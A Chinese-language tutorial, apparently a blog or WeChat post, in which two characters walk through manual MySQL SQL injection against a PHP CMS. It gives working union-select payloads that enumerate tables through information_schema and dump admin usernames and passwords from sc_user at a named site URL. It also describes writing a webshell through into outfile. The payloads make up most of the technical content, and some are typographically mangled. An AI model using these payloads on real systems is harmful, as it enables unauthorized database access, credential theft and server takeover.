话说上次小白携手仔仔发现了cms源码存在大量的SQL注入,又因事务繁多就不给仔仔讲SQL手工注入(主要是看仔仔是否心诚😜)。话说还是有一些小伙伴支持仔仔学习SQL手工注入的,这让小白颇感欣慰。虽说小白SQL手工注入不算精通,但还是有一套自己的章法。在此小白打算在各路大牛面前献丑了,请多多指教。
仔仔:“小白,上次说好的教我SQL手工注入呢?”
小白:“你不说我还差点忘记了,你瞧我这记性。”
仔仔:“你妹~”
小白:“😏我妹咋啦?”
仔仔:“你妹~”
小白:“好啦,不逗你啦!恰好公司年会的旅途中,甚是清闲,教一教你如何手工注入吧!”
仔仔顿时被小白这“公司年会”勾起了兴趣,说“你们今天搞年会啊?好羡慕嫉妒恨,年会有什么节目?”
小白:“嘿嘿,这个暂时保密。”
仔仔:“好吧,你先教我如何手工注入吧。”
小白:“上次我们不是发现了好多注入点嘛,我还说其中一个可以进行手工注入,然后sqlmap检测出来是盲注啪啪打脸😳。”
仔仔:“对啊,我还记忆犹新😏。”
小白:“其实呢,这也可能是sqlmap检测历史记录没清理,导致检测出了和之前一样的盲注。”
仔仔:“搜噶,原来还可以这样。”
小白:“好了,废话有点多,接下来直入主题。”
仔仔:“好的。”
小白:“我们主要是以mysql和php环境下的SQL注入,SQL手工注入的步骤可以分为:
① 判断是否存在注入;
② 判断注入类型,分为整数型和字符型;
③ 判断字段数;
④ 判断数据库版本是否大于5.0;
⑤ 获取当前数据库;
⑥ 获取当前数据库存在的表;
⑦ 获取表存在的字段;
⑧ 获取表内的数据;
⑨ 写入webshell,如果当前用户是root账号,并且存在硬盘读取权限的话。”
仔仔:“那我如何判断是否存在注入呢?”
小白:“不急,且听我细细道来。我们先在浏览器打开上次发现的可以手工注入的链接:
小白:“😂突然想起了我在上篇文章说过了,这里就不重复说了。”
仔仔:“那你再讲一次嘛。”
小白没好气的说:“
你小子没好好学习上一次给你讲的知识吧,要多加实践,把这些知识内化了才算是掌握。”
仔仔:“嗯嗯,我记住了。”
小白翻了个白眼:“
上次你也是这么说的,仅仅是随口应承,事后敷衍了事这种态度是不可取的,算了,这些问题留待你自己发现,我就不多嘴了。”
仔仔:“好好好,我这次真的记住了。”
小白习惯性的摆了摆手,想说什么,却发现仔仔并不在旁边,也就没了教训仔仔的兴趣。
小白:“好了,接着讲第二个步骤判断注入类型,那么问题来了为什么要分为整数型和字符型呢?”
仔仔:因为不同类型的注入方式是不一样的。”
小白:“孺子可教也,不过呢,判断注入类型还有另一层含义,那就是闭合语句。”
小白:“如何判断注入类型的方法上次也讲了,我们接着讲第三步骤,判断字段数,判断字段数有两种方法,order by和联合查询,联合查询也可分为union select和union all select。当然啦,我这里只是讲常用的两种方法,如果有其他大牛有其他方法,那得好好讨教才行。”
仔仔:“那这两种方法有什么区别呢?”
小白:“个人拙见是order by可以使用二分法快速获取到具体字段数,联合查询比较笨,要一个一个数的猜,直到字段数匹配。”
接下来开始实施:
Lgid=1 order by 10
试了下,从1到10都没检测出来,换成联合查询判断。
说到这里,不得不说下mysql的注释符,mysql的注释符有:
-
#(url编码是23%)
-
--(一般和加号一起,--+)
-
/**/
-
//
-
……
小白:“获取到字段数后,判断数据库版本,可以用version()函数判断。”
仔仔:“为什么要判断数据库版本是不是大于5.0呢?”
小白:“这个我也刚刚准备和你说,要判断数据库版本大于5.0主要是因为mysql5.0以上的版本存在一个默认数据库information_schema,这个数据库存放了数据库所有数据库的表名和字段信息,关于这个数据库更多的信息可以去搜索下。接下来是获取当前数据库,可以用mysql内置函数database()获取。”
仔仔:“这挺简单的。”
小白:“知道当前数据库后接下来获取表名,这个有三种获取方法:
① Table_schema=database();
② Table_schema=’xxxdb’
③ Table_schema=xxxdb的十六进制。这三种方法可以灵活应用,过滤单引号的时候可以用①和③”
lgid=1 union select1,2,3,4,5,6,table_name database() from information_schema.tables wheretable_schema=database()#
可以看到有一些表:
这样子获取表名可能存在重复,mysql有一个关键字distinct可以去除重复。
lgid=1 union select distinct 1,2,3,4,5,6,table_name from information_schema.tables wheretable_schema=database()#
也可以使用mysql数据库字符串拼接函数group_concat()拼接字符。
lgid=1 union select1,2,3,4,5,6,group_concat(distinct table_name) from information_schema.tableswhere table_schema=database()#
可以看到有以下这些表:
sc_banner,sc_categories,sc_config,sc_download,sc_images,sc_info,sc_language,sc_link,sc_menu,sc_msg,sc_products,sc_tagandseo,sc_user
小白:“Mysql还有其他字符串拼接函数,这里就不一一列举了,仔仔你有兴趣就搜索学习。”
仔仔:“好咧!”
小白:“知道表了,接下来获取表的字段,用的是information_schema.columns表,columns和tables顾名思义是字段s和表s,columns可以获取到table_name,但tables不能获取到column_name。接下来我们获取sc_user表的字段试试。”
lgid=1 union select1,2,3,4,5,6,group_concat(distinct column_name) from information_schema.columnswhere table_schema=database() and table_name=0x73635f75736572#
或者lgid=1 union select1,2,3,4,5,6,group_concat(distinct column_name) from information_schema.columnswhere table_schema=database() and table_name='sc_user'#
可以看到有以下字段:
ID,user_name,user_admin,user_ps,user_tel,user_qx,user_time,user_email,user_rzm
小白:“获取到表的字段后就可以获取表的数据了。”
http://www.yuesec.com/rifj_Admin/xxxCMS_Banner.php?lgid=1union select 1,2,3,4,5,6,group_concat(distinct ID,user_name,user_admin,user_qx)from sc_user#
小白:“好,获取到用户表的用户名和密码后就可以登录后台了,如果存在上传漏洞就可以getshell,一般数据库当前用户是普通用户注入到这里就结束了。如果当前数据库用户是root,且对磁盘可读可写的话可以通过into outfile进行getshell。要通过数据库写shell的话还需要知道网站的存放物理路径,可以通过@@datadir获取到数据库的物理路径,如果使用的是wamp或者lampp就万事大吉了,因为wamp和lampp网站目录比较固化。如果不是集成工具部署网站环境的话,只能通过物理路径泄露漏洞获取,或者通过load_file()函数读取服务器上的文件猜测网站存放路径了。”
lgid=1 union select1,2,3,4,5,6,group_concat(distinct @@datadir) from sc_user#
lgid=1 union select1,2,3,4,5,6,group_concat(distinct @@datadir) into outfile ‘D:\phpstudy\www\test.php’#
写入不成功,这在意料之中,因为当前用户不是root用户,没有磁盘读写权限。
lgid=1 union select 1,2,3,4,5,6,group_concat(distinctuser())#
第一条\是在windows环境下使用,如果是linux只需要一个就可以,如果第一条不行,可以试试第二条。
小白:“关于手工注入就点到为止了,如果有什么疑问可以留言给我,还有就是一些总结也可以发到公众号,欢迎投稿哦。我也快到年会举办地点了,待会有点忙,就不和你扯犊子了。”
仔仔:“好的,你忙去吧,年会玩得愉快。”
小白:“发几张照片你看看。”
PS:招聘邮箱:[email protected]
PS:投稿邮箱:admin@yuesec.com
本文始发于微信公众号(WhiteCellClub):小白学源码审计-3
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论